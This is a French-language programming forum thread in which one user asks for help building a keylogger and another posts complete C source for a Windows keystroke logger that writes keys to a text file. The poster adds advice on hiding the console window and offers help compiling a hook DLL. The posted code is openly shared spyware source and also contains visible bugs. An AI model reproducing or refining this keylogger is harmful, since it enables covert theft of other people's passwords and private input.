begin process at 2012 05 30 02:48:22
  Trouver un code source :
 
dans
 
Accueil > Forum > 

C

 > 

Divers

 > 

Général

 > 

keylogger


Derniers messages déposésPoser une question dans le forum ou lancer une discussion

keylogger

mardi 27 mars 2007 à 11:11:02 | keylogger

soniablackcrow

slt :)
j ai navigué sur ce site a la recherche d'un bon keylogger , j en ai trouvé pas mal mais j ai juste un probleme autour de l exécution de ces keyloggers....c est a  dire que le keylogger fonctionne tres bien (de point de vue exécutable) mais de point de vue code de source rien ne va plus j arrive meme pas a generer la DLL (surtout pour la methode des hooks car j en ai besoin)... est ce que qq1 pourra m aider la dessus... merci
vendredi 5 septembre 2008 à 20:20:48 | Re : keylogger

kiitos

Même si c'est un peu tard, je veux quand même bien essayer de t'envoyer mon keylogger personnel, il ne te restera plus qu'à le compiler toi même, mon e-mail c'est kiitos1989@yahoo.fr.
lundi 6 octobre 2008 à 21:06:29 | Re : keylogger

kiitos

#include <stdio.h>
#include <windows.h>
#include <winuser.h>

void keys(int key)
{
    FILE *key_file;
    key_file = fopen("key.txt","a+");
    if(key==8)
    {
        fprintf(key_file,"[del]");
    }
    if(key==13)
    {
        fprintf(key_file,"\n");
    }
    if(key==32)
    {
        fprintf(key_file," ");
    }
    if(key==VK_CAPITAL)
    {
        fprintf(key_file,"[Caps]");
    }
    if(key==VK_TAB)
    {
        fprintf(key_file,"[TAB]");
    }
    if(key ==VK_SHIFT)
    {
        fprintf(key_file,"[SHIFT]");
    }
    if(key ==VK_CONTROL)
    {
        fprintf(key_file,"[CTRL]");
    }
    if(key ==VK_PAUSE)
    {
        fprintf(key_file,"[PAUSE]");
    }
    if(key ==VK_KANA)
    {
        fprintf(key_file,"[Kana]");
    }
    if(key ==VK_ESCAPE)
    {
        fprintf(key_file,"[ESC]");
    }
    if(key ==VK_END)
    {
        fprintf(key_file,"[END]");
    }
    if(key==VK_HOME)
    {
        fprintf(key_file,"[HOME]");
    }
    if(key ==VK_LEFT)
    {
        fprintf(key_file,"[LEFT]");
    }
    if(key ==VK_UP)
    {
        fprintf(key_file,"[UP]");
    }
    if(key ==VK_RIGHT)
    {
        fprintf(key_file,"[RIGHT]");
    }
    if(key ==VK_DOWN)
    {
        fprintf(key_file,"[DOWN]");
    }
    if(key ==VK_SNAPSHOT)
    {
        fprintf(key_file,"[PRINT]");
    }
    if(key ==VK_NUMLOCK)
    {
        fprintf(key_file,"[NUM LOCK]");
    }
    if(key ==VK_INSERT)
    {
        fprintf(key_file,"[INSERT]");
    }
    if(key ==VK_DELETE)
    {
        fprintf(key_file,"[DELETE]");
    }
    if(key ==VK_DIVIDE)
    {
        fprintf(key_file,"/");
    }
    if(key ==VK_SUBTRACT)
    {
        fprintf(key_file,"-");
    }
    if(key ==VK_MULTIPLY)
    {
        fprintf(key_file,"*");
    }
    if(key ==VK_ADD)
    {
        fprintf(key_file,"+");
    }
    if(key ==190 || key==110)
    {
        fprintf(key_file,".");
    }
    if(key >=96 && key <= 105)
    {
        key = key - 48;
        fprintf(key_file,"%s",&key);
    }
    if(key >=48 && key <= 59)
    {
        fprintf(key_file,"%s",&key);
    }
    if(key !=VK_LBUTTON || key !=VK_RBUTTON)
    {
        if(key >=65 && key <=90)
        {
            if(GetKeyState(VK_CAPITAL))
            {
                fprintf(key_file,"%s",&key);
            }
            else
            {
                key = key +32;
                fprintf(key_file,"%s",&key);
            }
        }
    }
    fclose(key_file);
}

int main(int argc, char *argv[])
{
    char id;
    for(id = 8; id <= 191; id++)
    {
        if(GetAsyncKeyState(id) == -32767)
        {
            keys(id);
        }
    }
}



C'est gratos, mais il faut l'optimiser, il ne marche que sous windows et il y a quelques problèmes car il peut tomber en panne. -mwindows pour enlever la console. Bref, fait en quand même bon usage.
lundi 6 octobre 2008 à 21:09:36 | Re : keylogger

kiitos

Sinon à propos de la compilation des dll, je peux te donner des astuces pour le faire normalement. Je peux te donner le fichier batch avec un exemple et toutes les commandes appropriées.


Cette discussion est classée dans : vue, keylogger


Répondre à ce message

Sujets en rapport avec ce message

Comment insérer une vue dans une boite de dialogue??? [ par Gtab ] Bonjour,J'aimerais, sous Visual C++ 6.0, créer des boites de dialogue dockables (avec DialogBar) et y insérer une vue pour y dessiner des informations Récupérer la terminaison d'un prog en vue du lancement d'un nouveau [ par myopman ] Je m'explique : lorsque un prog tourne sous windows il envoi un signal à l'OS pour lui signaler qu'il s'est terminé.L'application dévellopée doit lanc keylogger [ par error ] donc voila je voudrait savoir s'y il y a moyen de faire un keylloger/prog qui eregistre les tuche taper au clavier en c++merci ++ Urgent : vue dynamique !!!! [ par ludovichi ] Bonsoir,Je suis à la recherche d'une méthode permettant de rendre mes vues dynamiques en C++ avec Visual. Je m'explique sur une vue principale j'ai de Problème d'impression [ par koiki ] Salut ! Dans mon application, j'ai des objets que j'aimerais imprimer. Elle a une architecture Document/Vue et la vue dérive de CScrollView. Je connai Vue-mètres en c++ [ par yangan ] Mon problème: je voudrais concevoir des sortes de vue-mètre en c++, comme ce qu'on peut trounver dans les égaliseurs graphiques.G penser à des barres Changement de vue [ par julok2 ] Bonjour à tous,j'écris actuellement un programme MFC avec VC++6 qui contient deux formulaires principaux.En cliquant sur un bouton, on peut passer d'u utilisation d'une CtreeView ...? [ par owel ] bonjour !dans mon appli je voudrai au lieu d'utiliser un composant CTreeCtrl utiliser une vue CTreeView a la maniere de l'explorateur windows.j'ai spl Changement de vue [ par james ] SalutJe desire changer de vue dans une appli du type document /vue.j'ai deux Classes derivant de la classe CFormViewet en appuyant sur un bouton d'une ListBox dans une Vue [ par crocejf2000 ] Salut tout le monde,(OS : Win XP, Visual c++.net)J'ai une classe CMaVue qui dérive de la classe CView. A partir de CMaVue je veut afficher une listBox


Nos sponsors


Sondage...

CalendriCode

Mai 2012
LMMJVSD
 123456
78910111213
14151617181920
21222324252627
28293031   

Consulter la suite du CalendriCode

A découvrir



 
Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils.
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés

Google Coop CodeS-SourceS Google Coop CodeS-SourceS
Temps d'éxécution de la page : 5,351 sec (3)

Nous contacter | Annoncer sur CodeS-SourceS | Mentions légales